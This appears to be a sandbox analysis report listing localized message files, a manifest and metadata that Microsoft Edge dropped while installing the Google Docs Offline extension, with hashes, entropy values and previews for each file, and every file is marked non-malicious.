SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
